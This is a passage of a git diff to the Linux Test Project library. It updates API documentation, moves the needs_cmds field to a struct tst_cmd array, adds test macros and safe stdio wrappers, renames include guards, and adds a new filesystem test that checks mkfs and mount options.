tst_device variable + * path and size are set in the :ref:`struct tst_device` variable * called tst_device. If $LTP_DEV variable exists in the test * environment the test attempts to use that device first and * only if that fails the test falls back to use loop devices. @@ -355,11 +357,11 @@ struct tst_fs { * Testcases that modify system wallclock use this to * restore the system to the previous state. * - * @all_filesystems: If set the test is executed for all supported filesytems, + * @all_filesystems: If set the test is executed for all supported filesystems, * i.e. file system that is supported by the kernel and has * mkfs installed on the system.The file system is mounted at * tst_test.mntpoint and file system details, e.g. type are set - * in the struct tst_device. Each execution is independent, + * in the :ref:`struct tst_device`. Each execution is independent, * that means that for each iteration tst_test.setup() is * called at the test start and tst_test.cleanup() is called * at the end and tst_brk() only exits test for a single @@ -432,7 +434,7 @@ struct tst_fs { * and mount options. If tst_test.all_filesystems is not set * the test iterates over file system types defined in the array. * If there is only a single entry in the array with a NULL type, - * the test runs just once for the default file sytem i.e. + * the test runs just once for the default file system i.e. * $TST_FS_TYPE. * * @mntpoint: A mount point where the test library mounts requested file system. @@ -496,13 +498,9 @@ struct tst_fs { * to the test temporary directory from the LTP datafiles * directory. * - * @needs_drivers: A NULL terminated array of kernel modules required to run - * the test. The module has to be build in or present in order - * for the test to run. - * * @save_restore: A {} terminated array of /proc or /sys files that should * saved at the start of the test and restored at the end. See - * tst_sys_conf_save() and struct tst_path_val for details. + * tst_sys_conf_save() and :ref:`struct tst_path_val` for details. * * @ulimit: A {} terminated array of process limits RLIMIT_* to be adjusted for * the test. @@ -513,18 +511,25 @@ struct tst_fs { * and parenthesis are supported, e.g. * "CONFIG_X86_INTEL_UMIP=y | CONFIG_X86_UIMP=y" is evaluated * to true if at least one of the options is present. + * A presence of a config option in the config file does not + * guarantee that the corresponding functionality is + * available. For instance, an option might be set to 'm' + * without the module being installed, or the feature could be + * disabled via the kernel command line. To address this, the + * kconfig library implements supplementary runtime checks for + * specific options required by the tests. * * @bufs: A description of guarded buffers to be allocated for the test. Guarded * buffers are buffers with poisoned page allocated right before the start * of the buffer and canary right after the end of the buffer. See - * struct tst_buffers and tst_buffer_alloc() for details. + * :ref:`struct tst_buffers` and tst_buffers_alloc() for details. * * @caps: A {} terminated array of capabilities to change before the start of - * the test. See struct tst_cap and tst_cap_setup() for details. + * the test. See :ref:`struct tst_cap` and tst_cap_setup() for details. * - * @tags: A {} terminated array of test tags. See struct tst_tag for details. + * @tags: A {} terminated array of test tags. See :ref:`struct tst_tag` for details. * - * @needs_cmds: A NULL terminated array of commands required for the test to run. + * @needs_cmds: A NULL terminated array of :ref:`struct tst_cmd` required for the test to run. * * @needs_cgroup_ver: If set the test will run only if the specified cgroup * version is present on the system. @@ -603,7 +608,6 @@ struct tst_fs { int (*sample)(int clk_id, long long usec); const char *const *resource_files; - const char * const *needs_drivers; const struct tst_path_val *save_restore; @@ -617,7 +621,7 @@ struct tst_fs { const struct tst_tag *tags; - const char *const *needs_cmds; + struct tst_cmd *needs_cmds; const enum tst_cg_ver needs_cgroup_ver; @@ -653,7 +657,10 @@ void tst_run_tcases(int argc, char *argv[], struct tst_test *self) * functions, checkpoint library, etc. This function re-initializes the test * library so that it can be used again. * - * @important The LTP_IPC_PATH variable must be passed to the program environment. + * .. warning:: + * + * The ``LTP_IPC_PATH`` environment variable must be passed to the program + * environment. */ void tst_reinit(void); @@ -689,45 +696,122 @@ void tst_reinit(void); */ int tst_run_script(const char *script_name, char *const params[]); -/* - * Sets entire timeout in seconds. +/** + * tst_set_timeout() - Sets the timeout for single test iteration. + * + * Allows to set timeout dynamically during the test setup. + * + * This is used only for rare cases that the test does something that runs for + * a long time and cannot be easily interrupted (otherwise it would set + * :c:type:`.runtime ` and exit when runtime was exhausted). + * + * The timeout is multiplied by tst_multiply_timeout() internally in the test + * library. + * + * @timeout: A timeout for a single iteration of the test in seconds. */ void tst_set_timeout(int timeout); +/** + * tst_multiply_timeout() - Uses heuristics to multiply a time interval based on + * expected CPU slowdowns. + * + * If a machine is expected to be slow for some reason, e.g. if we run on an + * emulated CPU, a user can export :doc:`LTP_TIMEOUT_MUL + * <../users/setup_tests>` variable that is used by this call to multiply the + * interval. + * + * Various kernel configuration (debugging) options that slow down the machine + * are detected automatically and are taken into account. + * + * This function is used internally in the test library to multiply various + * timeouts to make sure that they match the expected slowdown. + * + * @timeout: A timeout. + * + * Return: A timeout multiplied by an expected slowdown coefficient. + */ unsigned int tst_multiply_timeout(unsigned int timeout); -/* - * Returns remaining test runtime. Test that runs for more than a few seconds - * should check if they should exit by calling this function regularly. +/** + * tst_remaining_runtime() - Returns the remaining test runtime. * * The function returns remaining runtime in seconds. If runtime was used up * zero is returned. + * + * Test that runs for more than a few seconds should check if they should exit + * by calling this function regularly. + * + * Return: A remaining test runtime in seconds. */ unsigned int tst_remaining_runtime(void); -/* - * Sets maximal test runtime in seconds. +/** + * tst_set_runtime() - Sets maximal test runtime in seconds. + * + * Allows for setting the runtime per test iteration dynamically during the test + * setup phase. The runtime is specified in seconds and defines how long the + * test is allowed to execute its main workload, excluding the setup and + * teardown phases. + * + * This function is useful for tests where the duration of the main workload can + * be controlled or needs to be adjusted dynamically. For example, tests that + * run in a loop until the runtime expires can use this function to define how + * long they should execute. + * + * A test that sets a runtime must monitor the remaining time with + * tst_remaining_runtime() in the main loop. + * + * @runtime: A timeout in seconds. */ void tst_set_runtime(int runtime); -/* - * Create and open a random file inside the given dir path. - * It unlinks the file after opening and return file descriptor. +/** + * tst_creat_unlinked() - Create, open, and unlink a file. + * + * Creates and opens a unique file name inside the given directory path, + * unlinks the file after opening and returns a file descriptor. + * + * @path: Path to the directory. + * @flags: :manpage:`open(2)` flags. + * @mode: :manpage:`open(2)` mode. + * + * Return: A file descriptor. */ int tst_creat_unlinked(const char *path, int flags, mode_t mode); -/* - * Returns path to the test temporary directory root (TMPDIR). +/** + * tst_get_tmpdir_root() - Returns path to the test temporary directory root. + * + * The path is either hardcoded as /tmp or could be overrided by a TMPDIR + * environment variable. + * + * Return: A path to the test temporary directory root. */ const char *tst_get_tmpdir_root(void); -/* - * Validates exit status of child processes +/** + * tst_cmd_present() - Check if a command is present + * @cmd: The name of the command to check for. + * + * This function iterates through the &tst_test->needs_cmds array. It compares + * the given command name with each entry in the array and returns the + * &tst_cmd->present flag for the matching command. + * + * Return: `true` if the command is present, `false` otherwise. */ +bool tst_cmd_present(const char *cmd); + int tst_validate_children_(const char *file, const int lineno, unsigned int count); -#define tst_validate_children(child_count) \ - tst_validate_children_(__FILE__, __LINE__, (child_count)) + +/** + * tst_validate_children() - Validates exit status of the child processes. + * + * @count: Number of the child processes. + */ +#define tst_validate_children(count) \ + tst_validate_children_(__FILE__, __LINE__, (count)) #ifndef TST_NO_DEFAULT_MAIN diff --git a/ltp/include/tst_test_macros.h b/ltp/include/tst_test_macros.h index be963ed9..b1e74278 100644 --- a/ltp/include/tst_test_macros.h +++ b/ltp/include/tst_test_macros.h @@ -361,7 +361,7 @@ extern int TST_PASS; * @...: A printf-like parameters. * * This macro calls the SCALL with a TESTPTR() macro and additionaly prints - * pass or fail message after checking the return value against (void *)-1. + * pass or fail message after checking the return value against (void \*)-1. * Apart from TST_ERR and TST_RET_PTR set by the TESTPTR() macro TST_PASS * global variable is set as well based on the outcome. * @@ -370,7 +370,20 @@ extern int TST_PASS; * is converted to a string and used instead. */ #define TST_EXP_PASS_PTR_VOID(SCALL, ...) \ - TST_EXP_PASS_PTR_(SCALL, #SCALL, (void *)-1, ##__VA_ARGS__); + TST_EXP_PASS_PTR_(SCALL, #SCALL, (void *)-1, ##__VA_ARGS__); + +/** + * TST_EXP_PASS_PTR_NULL() - Test call to return a non-NULL pointer. + * + * @SCALL: Tested call. + * @...: A printf-like parameters. + * + * This macro works like TST_EXP_PASS_PTR_VOID() but checks the return + * value against NULL instead of (void *)-1. Use this for libc functions + * such as fopen() that return NULL on failure. + */ +#define TST_EXP_PASS_PTR_NULL(SCALL, ...) \ + TST_EXP_PASS_PTR_(SCALL, #SCALL, NULL, ##__VA_ARGS__) /* * Returns true if err is in the exp_err array. @@ -560,14 +573,14 @@ const char *tst_errno_names(char *buf, const int *exp_errs, int exp_errs_cnt); /** - * TST_EXP_FAIL_PTR_VOID() - Test syscall to fail with expected errno and return a (void *)-1 pointer. + * TST_EXP_FAIL_PTR_VOID() - Test syscall to fail with expected errno and return a (void \*)-1 pointer. * * @SCALL: Tested syscall. * @EXP_ERR: Expected errno. * @...: A printf-like parameters. * * This macro calls the SCALL with a TESTPTR() macro and additionaly prints - * pass or fail message after checking the return value against (void *)-1 and + * pass or fail message after checking the return value against (void \*)-1 and * errno. * * Apart from TST_ERR and TST_RET_PTR set by the TESTPTR() macro TST_PASS @@ -585,7 +598,7 @@ const char *tst_errno_names(char *buf, const int *exp_errs, int exp_errs_cnt); } while (0) /** - * TST_EXP_FAIL_PTR_VOID_ARR() - Test syscall to fail with expected errnos and return a (void *)-1 pointer. + * TST_EXP_FAIL_PTR_VOID_ARR() - Test syscall to fail with expected errnos and return a (void \*)-1 pointer. * * @SCALL: Tested syscall. * @EXP_ERRS: Array of expected errnos. @@ -662,6 +675,36 @@ const char *tst_errno_names(char *buf, const int *exp_errs, int exp_errs_cnt); &tst_exp_err__, 1, ##__VA_ARGS__); \ } while (0) +/** + * TST_EXP_FAIL_ARR_SILENT() - Test syscall to fail with expected errnos, silent variant. + * + * @SCALL: Tested syscall. + * @EXP_ERRS: Array of expected errnos. + * @EXP_ERRS_CNT: Lenght of EXP_ERRS. + * @...: A printf-like parameters. + * + * Unlike TST_EXP_FAIL_ARR() does not print :c:enum:`TPASS ` on + * success, only prints :c:enum:`TFAIL ` on failure. + */ +#define TST_EXP_FAIL_ARR_SILENT(SCALL, EXP_ERRS, EXP_ERRS_CNT, ...) \ + TST_EXP_FAIL_SILENT_(TST_RET == 0, SCALL, #SCALL, \ + EXP_ERRS, EXP_ERRS_CNT, ##__VA_ARGS__) + +/** + * TST_EXP_FAIL2_ARR_SILENT() - Test syscall to fail with expected errnos, silent variant. + * + * @SCALL: Tested syscall. + * @EXP_ERRS: Array of expected errnos. + * @EXP_ERRS_CNT: Lenght of EXP_ERRS. + * @...: A printf-like parameters. + * + * Unlike TST_EXP_FAIL2_ARR() does not print :c:enum:`TPASS ` on + * success, only prints :c:enum:`TFAIL ` on failure. + */ +#define TST_EXP_FAIL2_ARR_SILENT(SCALL, EXP_ERRS, EXP_ERRS_CNT, ...) \ + TST_EXP_FAIL_SILENT_(TST_RET >= 0, SCALL, #SCALL, \ + EXP_ERRS, EXP_ERRS_CNT, ##__VA_ARGS__) + /** * TST_EXP_EXPR() - Check for expected expression. * @@ -693,6 +736,51 @@ const char *tst_errno_names(char *buf, const int *exp_errs, int exp_errs_cnt); } \ } while (0) +#define TST_EXP_LE_SILENT_(VAL_A, SVAL_A, VAL_B, SVAL_B, TYPE, PFS) do { \ + TYPE tst_tmp_a__ = VAL_A; \ + TYPE tst_tmp_b__ = VAL_B; \ + \ + TST_PASS = 0; \ + \ + if (tst_tmp_a__ > tst_tmp_b__) { \ + tst_res_(__FILE__, __LINE__, TFAIL, \ + SVAL_A " (" PFS ") > " SVAL_B " (" PFS ")", \ + tst_tmp_a__, tst_tmp_b__); \ + } else { \ + TST_PASS = 1; \ + } \ +} while (0) + +/** + * TST_EXP_LE_LU() - Compare two unsigned long long values, expect A <= B. + * + * @VAL_A: unsigned long long value A. + * @VAL_B: unsigned long long value B. + * + * Reports a pass if A <= B and a fail otherwise. + */ +#define TST_EXP_LE_LU(VAL_A, VAL_B) do { \ + TST_EXP_LE_SILENT_(VAL_A, #VAL_A, VAL_B, #VAL_B, unsigned long long, "%llu"); \ + \ + if (TST_PASS) { \ + tst_res_(__FILE__, __LINE__, TPASS, \ + #VAL_A " <= " #VAL_B " (%llu <= %llu)", \ + (unsigned long long)VAL_A, (unsigned long long)VAL_B); \ + } \ +} while (0) + +/** + * TST_EXP_LE_LU_SILENT() - Compare two unsigned long long values, silent variant. + * + * @VAL_A: unsigned long long value A. + * @VAL_B: unsigned long long value B. + * + * Unlike TST_EXP_LE_LU() does not print :c:enum:`TPASS ` on + * success, only prints :c:enum:`TFAIL ` on failure. + */ +#define TST_EXP_LE_LU_SILENT(VAL_A, VAL_B) \ + TST_EXP_LE_SILENT_(VAL_A, #VAL_A, VAL_B, #VAL_B, unsigned long long, "%llu") + /** * TST_EXP_EQ_LI() - Compare two long long values. * diff --git a/ltp/include/tst_uid.h b/ltp/include/tst_uid.h index e604effc..2237ddcb 100644 --- a/ltp/include/tst_uid.h +++ b/ltp/include/tst_uid.h @@ -2,8 +2,8 @@ * Copyright (c) 2021 Linux Test Project */ -#ifndef TST_UID_H_ -#define TST_UID_H_ +#ifndef TST_UID_H__ +#define TST_UID_H__ #include @@ -37,4 +37,4 @@ int tst_check_resgid_(const char *file, const int lineno, const char *callstr, #define tst_check_resgid(cstr, rgid, egid, sgid) \ tst_check_resgid_(__FILE__, __LINE__, (cstr), (rgid), (egid), (sgid)) -#endif /* TST_UID_H_ */ +#endif /* TST_UID_H__ */ diff --git a/ltp/include/ujson.h b/ltp/include/ujson.h index 8faeb18f..1a4bb6bd 100644 --- a/ltp/include/ujson.h +++ b/ltp/include/ujson.h @@ -3,11 +3,11 @@ * Copyright (C) 2021-2024 Cyril Hrubis */ -#ifndef UJSON_H -#define UJSON_H +#ifndef UJSON_H__ +#define UJSON_H__ #include #include #include -#endif /* UJSON_H */ +#endif /* UJSON_H__ */ diff --git a/ltp/include/ujson_common.h b/ltp/include/ujson_common.h index ed31c090..11382c4f 100644 --- a/ltp/include/ujson_common.h +++ b/ltp/include/ujson_common.h @@ -8,8 +8,8 @@ * @brief Common JSON reader/writer definitions. */ -#ifndef UJSON_COMMON_H -#define UJSON_COMMON_H +#ifndef UJSON_COMMON_H__ +#define UJSON_COMMON_H__ /** @brief Maximal error message length. */ #define UJSON_ERR_MAX 128 @@ -66,4 +66,4 @@ typedef struct ujson_val ujson_val; /** @brief An array size macro. */ #define UJSON_ARRAY_SIZE(array) (sizeof(array) / sizeof(*array)) -#endif /* UJSON_COMMON_H */ +#endif /* UJSON_COMMON_H__ */ diff --git a/ltp/include/ujson_reader.h b/ltp/include/ujson_reader.h index 273fe624..8608b6c8 100644 --- a/ltp/include/ujson_reader.h +++ b/ltp/include/ujson_reader.h @@ -14,8 +14,8 @@ * if error has happened at the end of the sequence. */ -#ifndef UJSON_READER_H -#define UJSON_READER_H +#ifndef UJSON_READER_H__ +#define UJSON_READER_H__ #include #include @@ -540,4 +540,4 @@ static inline int ujson_reader_consumed(ujson_reader *self) return self->off >= self->len; } -#endif /* UJSON_H */ +#endif /* UJSON_H__ */ diff --git a/ltp/include/ujson_utf.h b/ltp/include/ujson_utf.h index f939fbe8..313213d8 100644 --- a/ltp/include/ujson_utf.h +++ b/ltp/include/ujson_utf.h @@ -8,8 +8,8 @@ * @brief Unicode helper macros and functions. */ -#ifndef UJSON_UTF_H -#define UJSON_UTF_H +#ifndef UJSON_UTF_H__ +#define UJSON_UTF_H__ #include #include @@ -165,4 +165,4 @@ static inline int ujson_to_utf8(uint32_t unicode, char *buf) return 4; } -#endif /* UJSON_UTF_H */ +#endif /* UJSON_UTF_H__ */ diff --git a/ltp/lib/newlib_tests/.gitignore b/ltp/lib/newlib_tests/.gitignore index a4984d2e..1586e0ad 100644 --- a/ltp/lib/newlib_tests/.gitignore +++ b/ltp/lib/newlib_tests/.gitignore @@ -46,6 +46,7 @@ test_macros03 test_macros04 test_macros05 test_macros06 +tst_filesystems01 tst_fuzzy_sync01 tst_fuzzy_sync02 tst_fuzzy_sync03 diff --git a/ltp/lib/newlib_tests/runtest.sh b/ltp/lib/newlib_tests/runtest.sh index d87751c2..71808ef8 100755 --- a/ltp/lib/newlib_tests/runtest.sh +++ b/ltp/lib/newlib_tests/runtest.sh @@ -24,6 +24,7 @@ tst_checkpoint_wait_timeout tst_checkpoint_wake_timeout tst_device tst_expiration_timer +tst_filesystems01 tst_fuzzy_sync0[1-3] tst_needs_cmds0[1-36-8] tst_res_hexd diff --git a/ltp/lib/newlib_tests/shell/tst_format_device.sh b/ltp/lib/newlib_tests/shell/tst_format_device.sh index dbe4ea9e..b7366517 100755 --- a/ltp/lib/newlib_tests/shell/tst_format_device.sh +++ b/ltp/lib/newlib_tests/shell/tst_format_device.sh @@ -2,7 +2,7 @@ # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) 2022 Petr Vorel -TST_FORMAT_DEVICE=1 +TST_MOUNT_DEVICE=1 TST_NEEDS_ROOT=1 TST_TESTFUNC=test TST_CNT=2 diff --git a/ltp/lib/newlib_tests/test_kconfig.c b/ltp/lib/newlib_tests/test_kconfig.c index cea36b5e..ed2c4610 100644 --- a/ltp/lib/newlib_tests/test_kconfig.c +++ b/ltp/lib/newlib_tests/test_kconfig.c @@ -18,6 +18,7 @@ static const char *kconfigs[] = { "CONFIG_MMU & CONFIG_EXT4_FS=m", "CONFIG_EXT4_FS=m | CONFIG_MMU", "CONFIG_DEFAULT_HOSTNAME=\"(none)\"", + "CONFIG_USER_NS", NULL }; diff --git a/ltp/lib/newlib_tests/tst_filesystems01.c b/ltp/lib/newlib_tests/tst_filesystems01.c new file mode 100644 index 00000000..177ce1e3 --- /dev/null +++ b/ltp/lib/newlib_tests/tst_filesystems01.c @@ -0,0 +1,108 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2025 Wei Gao + */ + +#include "tst_test.h" +#include "tst_safe_stdio.h" + +#define INODE_SIZE 128 +#define BLOCK_SIZE 1024 +#define MKFS_SIZE_VAL 10240 + +#define MOUNT_POINT "mount_test_filesystems" + +static int check_inode_size(unsigned int size) +{ + char path[PATH_MAX]; + char line[PATH_MAX]; + FILE *tune2fs; + char str_size[NAME_MAX]; + + snprintf(str_size, sizeof(str_size), "%u", size); + snprintf(path, sizeof(path), "tune2fs -l %s 2>&1", tst_device->dev); + tune2fs = SAFE_POPEN(path, "r"); + + while (fgets(line, PATH_MAX, tune2fs) != NULL) { + if (strstr(line, "Inode size:") && strstr(line, str_size)) + return 0; + } + + pclose(tune2fs); + return -1; +} + +static int check_mnt_data(char *opt) +{ + FILE *fp; + char line[PATH_MAX]; + + fp = SAFE_FOPEN("/proc/mounts", "r"); + + while (fgets(line, PATH_MAX, fp) != NULL) { + if (strstr(line, tst_device->dev) && strstr(line, opt)) + return 0; + } + SAFE_FCLOSE(fp); + return -1; +} + +static int check_mkfs_size_opt(unsigned int size) +{ + char path[PATH_MAX]; + char line[PATH_MAX]; + FILE *dumpe2fs; + char str_size[NAME_MAX]; + + snprintf(str_size, sizeof(str_size), "%u", size); + snprintf(path, sizeof(path), "dumpe2fs -h %s 2>&1", tst_device->dev); + dumpe2fs = SAFE_POPEN(path, "r"); + + while (fgets(line, PATH_MAX, dumpe2fs) != NULL) { + if (strstr(line, "Block count:") && strstr(line, str_size)) + return 0; + } + + pclose(dumpe2fs); + return -1; +} + +static void do_test(void) +{ + long fs_type; + + fs_type = tst_fs_type(MOUNT_POINT); + + if (fs_type == TST_EXT234_MAGIC) { + TST_EXP_PASS((check_inode_size(INODE_SIZE))); + TST_EXP_PASS((check_mkfs_size_opt(MKFS_SIZE_VAL))); + } + + if (fs_type == TST_XFS_MAGIC) + TST_EXP_PASS((check_mnt_data("usrquota"))); +} + +static struct tst_test test = { + .test_all = do_test, + .needs_root = 1, + .mntpoint = MOUNT_POINT, + .mount_device = 1, + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "tune2fs"}, + {.cmd = "dumpe2fs"}, + {} + }, + .filesystems = (struct tst_fs []) { + { + .type = "ext3", + .mkfs_opts = (const char *const []){"-I", TST_TO_STR(INODE_SIZE), "-b", TST_TO_STR(BLOCK_SIZE), NULL}, + .mkfs_size_opt = TST_TO_STR(MKFS_SIZE_VAL), + }, + { + .type = "xfs", + .mnt_data = "usrquota", + }, + {} + }, + +}; diff --git a/ltp/lib/newlib_tests/tst_needs_cmds01.c b/ltp/lib/newlib_tests/tst_needs_cmds01.c index 777c6950..6ab1145d 100644 --- a/ltp/lib/newlib_tests/tst_needs_cmds01.c +++ b/ltp/lib/newlib_tests/tst_needs_cmds01.c @@ -12,13 +12,13 @@ static void do_test(void) static struct tst_test test = { .test_all = do_test, - .needs_cmds = (const char *[]) { - "mkfs.ext4", - "mkfs.ext4 >= 1.0.0", - "mkfs.ext4 <= 2.0.0", - "mkfs.ext4 != 2.0.0", - "mkfs.ext4 > 1.0.0", - "mkfs.ext4 < 2.0.0", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "mkfs.ext4", .optional = 1}, + {.cmd = "mkfs.ext4 >= 1.0.0", .optional = 0}, + {.cmd = "mkfs.ext4 <= 2.0.0"}, + {.cmd = "mkfs.ext4 != 2.0.0"}, + {.cmd = "mkfs.ext4 > 1.0.0"}, + {.cmd = "mkfs.ext4 < 2.0.0"}, + {} } }; diff --git a/ltp/lib/newlib_tests/tst_needs_cmds02.c b/ltp/lib/newlib_tests/tst_needs_cmds02.c index 455a275e..f1d6105c 100644 --- a/ltp/lib/newlib_tests/tst_needs_cmds02.c +++ b/ltp/lib/newlib_tests/tst_needs_cmds02.c @@ -16,8 +16,8 @@ static void do_test(void) static struct tst_test test = { .test_all = do_test, - .needs_cmds = (const char *[]) { - "mkfs.ext45 >= 1.43.0", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "mkfs.ext45 >= 1.43.0"}, + {} } }; diff --git a/ltp/lib/newlib_tests/tst_needs_cmds03.c b/ltp/lib/newlib_tests/tst_needs_cmds03.c index bdc1cdf6..ac5f368e 100644 --- a/ltp/lib/newlib_tests/tst_needs_cmds03.c +++ b/ltp/lib/newlib_tests/tst_needs_cmds03.c @@ -16,8 +16,8 @@ static void do_test(void) static struct tst_test test = { .test_all = do_test, - .needs_cmds = (const char *[]) { - "mkfs.ext4 ! 1.43.0", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "mkfs.ext4 ! 1.43.0"}, + {} } }; diff --git a/ltp/lib/newlib_tests/tst_needs_cmds04.c b/ltp/lib/newlib_tests/tst_needs_cmds04.c index de10b8f3..2aea5177 100644 --- a/ltp/lib/newlib_tests/tst_needs_cmds04.c +++ b/ltp/lib/newlib_tests/tst_needs_cmds04.c @@ -16,8 +16,8 @@ static void do_test(void) static struct tst_test test = { .test_all = do_test, - .needs_cmds = (const char *[]) { - "mkfs.ext4 > 1.43", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "mkfs.ext4 > 1.43"}, + {} } }; diff --git a/ltp/lib/newlib_tests/tst_needs_cmds05.c b/ltp/lib/newlib_tests/tst_needs_cmds05.c index c3b2b3b9..969d4e2f 100644 --- a/ltp/lib/newlib_tests/tst_needs_cmds05.c +++ b/ltp/lib/newlib_tests/tst_needs_cmds05.c @@ -16,8 +16,8 @@ static void do_test(void) static struct tst_test test = { .test_all = do_test, - .needs_cmds = (const char *[]) { - "mkfs.ext4 > 1.43.0-1", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "mkfs.ext4 > 1.43.0-1"}, + {} } }; diff --git a/ltp/lib/newlib_tests/tst_needs_cmds06.c b/ltp/lib/newlib_tests/tst_needs_cmds06.c index 40b1cf09..91470ccf 100644 --- a/ltp/lib/newlib_tests/tst_needs_cmds06.c +++ b/ltp/lib/newlib_tests/tst_needs_cmds06.c @@ -16,8 +16,8 @@ static void do_test(void) static struct tst_test test = { .test_all = do_test, - .needs_cmds = (const char *[]) { - "mkfs.ext4 > 1.43.0 2", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "mkfs.ext4 > 1.43.0 2"}, + {} } }; diff --git a/ltp/lib/newlib_tests/tst_needs_cmds07.c b/ltp/lib/newlib_tests/tst_needs_cmds07.c index d0b4ce2f..371bbdc1 100644 --- a/ltp/lib/newlib_tests/tst_needs_cmds07.c +++ b/ltp/lib/newlib_tests/tst_needs_cmds07.c @@ -16,8 +16,8 @@ static void do_test(void) static struct tst_test test = { .test_all = do_test, - .needs_cmds = (const char *[]) { - "mkfs.ext45", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "mkfs.ext45"}, + {} } }; diff --git a/ltp/lib/newlib_tests/tst_needs_cmds08.c b/ltp/lib/newlib_tests/tst_needs_cmds08.c index 38df2ef6..412f9f29 100644 --- a/ltp/lib/newlib_tests/tst_needs_cmds08.c +++ b/ltp/lib/newlib_tests/tst_needs_cmds08.c @@ -18,9 +18,9 @@ static void do_test(void) static struct tst_test test = { .test_all = do_test, - .needs_cmds = (const char *[]) { - "mkfs.xfs", - "mkfs.xfs >= 4.20.0", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "mkfs.xfs"}, + {.cmd = "mkfs.xfs >= 4.20.0"}, + {} } }; diff --git a/ltp/lib/newlib_tests/tst_res_flags.c b/ltp/lib/newlib_tests/tst_res_flags.c index a14f0df2..cda09707 100644 --- a/ltp/lib/newlib_tests/tst_res_flags.c +++ b/ltp/lib/newlib_tests/tst_res_flags.c @@ -21,7 +21,7 @@ static struct tcase { {FLAG(TCONF)}, {FLAG(TWARN)}, {FLAG(TINFO)}, - {FLAG(TDEBUG), " (printed only with -D or LTP_ENABLE_DEBUG=1)"}, + {FLAG(TDEBUG), " (printed only with -D[1,2] or LTP_DEBUG=1(y),2)"}, }; static void do_cleanup(void) diff --git a/ltp/lib/parse_opts.c b/ltp/lib/parse_opts.c index 03e83331..565af442 100644 --- a/ltp/lib/parse_opts.c +++ b/ltp/lib/parse_opts.c @@ -43,8 +43,8 @@ #include #include "test.h" -#include "ltp_priv.h" -#include "usctest.h" +#include "tso_priv.h" +#include "tso_usctest.h" #include "tst_clocks.h" #ifndef UNIT_TEST diff --git a/ltp/lib/random_range.c b/ltp/lib/random_range.c index 4c96fd91..0978c6fa 100644 --- a/ltp/lib/random_range.c +++ b/ltp/lib/random_range.c @@ -33,7 +33,7 @@ #include #include #include -#include "random_range.h" +#include "tso_random_range.h" /* * Internal format of the range array set up by parse_range() diff --git a/ltp/lib/safe_file_ops.c b/ltp/lib/safe_file_ops.c index 8314c4b1..19da1fd9 100644 --- a/ltp/lib/safe_file_ops.c +++ b/ltp/lib/safe_file_ops.c @@ -160,6 +160,32 @@ void safe_file_scanf(const char *file, const int lineno, } } +void safe_file_read_str(const char *file, const int lineno, + const char *path, char *buf, size_t buf_size) +{ + FILE *f; + + f = fopen(path, "r"); + if (!f) { + tst_brkm_(file, lineno, TBROK | TERRNO, NULL, + "Failed to open FILE '%s' for reading", path); + return; + } + + if (!fgets(buf, buf_size, f)) + buf[0] = 0; + + size_t len = strlen(buf); + + if (len && buf[len-1] == '\n') + buf[len-1] = 0; + + if (fclose(f)) { + tst_brkm_(file, lineno, TBROK | TERRNO, NULL, + "Failed to close FILE '%s'", path); + return; + } +} /* * Try to parse each line from file specified by 'path' according diff --git a/ltp/lib/safe_macros.c b/ltp/lib/safe_macros.c index a3145b8d..68b8747b 100644 --- a/ltp/lib/safe_macros.c +++ b/ltp/lib/safe_macros.c @@ -23,7 +23,7 @@ #include #include "lapi/fcntl.h" #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *safe_basename(const char *file, const int lineno, void (*cleanup_fn) (void), char *path) diff --git a/ltp/lib/safe_stdio.c b/ltp/lib/safe_stdio.c index ab23e43b..feb8a4b5 100644 --- a/ltp/lib/safe_stdio.c +++ b/ltp/lib/safe_stdio.c @@ -99,3 +99,104 @@ FILE *safe_popen(const char *file, const int lineno, void (cleanup_fn)(void), return stream; } + +size_t safe_fread(const char *file, const int lineno, + void *ptr, size_t size, size_t n, FILE *stream) +{ + size_t ret; + + ret = fread(ptr, size, n, stream); + if (ret != n) { + tst_brkm_(file, lineno, TBROK, NULL, + "fread(%p, %lu, %lu, %p) read %lu bytes", + ptr, size, n, stream, ret); + } + + return ret; +} + +size_t safe_fwrite(const char *file, const int lineno, + const void *ptr, size_t size, size_t n, FILE *stream) +{ + size_t ret; + + ret = fwrite(ptr, size, n, stream); + if (ret != n) { + tst_brkm_(file, lineno, TBROK, NULL, + "fwrite(%p, %lu, %lu, %p) written %lu bytes", + ptr, size, n, stream, ret); + } + + return ret; +} + +FILE *safe_freopen(const char *file, const int lineno, + const char *path, const char *mode, FILE *stream) +{ + FILE *f = freopen(path, mode, stream); + + if (!f) { + tst_brkm_(file, lineno, TBROK | TERRNO, NULL, + "freopen(%s,%s,%p) failed", path, mode, stream); + } + + return f; +} + +int safe_fseek(const char *file, const int lineno, + FILE *f, long offset, int whence) +{ + int ret; + + errno = 0; + ret = fseek(f, offset, whence); + + if (ret == -1) { + tst_brkm_(file, lineno, TBROK | TERRNO, NULL, + "fseek(%p, %ld, %d)", f, offset, whence); + } + + return ret; +} + +long safe_ftell(const char *file, const int lineno, + FILE *f) +{ + long ret; + + errno = 0; + ret = ftell(f); + + if (ret == -1) + tst_brkm_(file, lineno, TBROK | TERRNO, NULL, "ftell(%p)", f); + + return ret; +} + +int safe_fileno(const char *file, const int lineno, + FILE *f) +{ + int ret; + + errno = 0; + ret = fileno(f); + + if (ret == -1) + tst_brkm_(file, lineno, TBROK | TERRNO, NULL, "fileno(%p)", f); + + return ret; +} + +int safe_fflush(const char *file, const int lineno, + FILE *f) +{ + int ret; + + errno = 0; + ret = fflush(f); + + if (ret == EOF) + tst_brkm_(file, lineno, TBROK | TERRNO, NULL, "fflush(%p)", f); + + return ret; +} diff --git a/ltp/lib/tests/trerrno.c b/ltp/lib/tests/trerrno.c index a160874d..c830aed2 100644 --- a/ltp/lib/tests/trerrno.c +++ b/ltp/lib/tests/trerrno.c @@ -21,7 +21,7 @@ #include #include #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #define 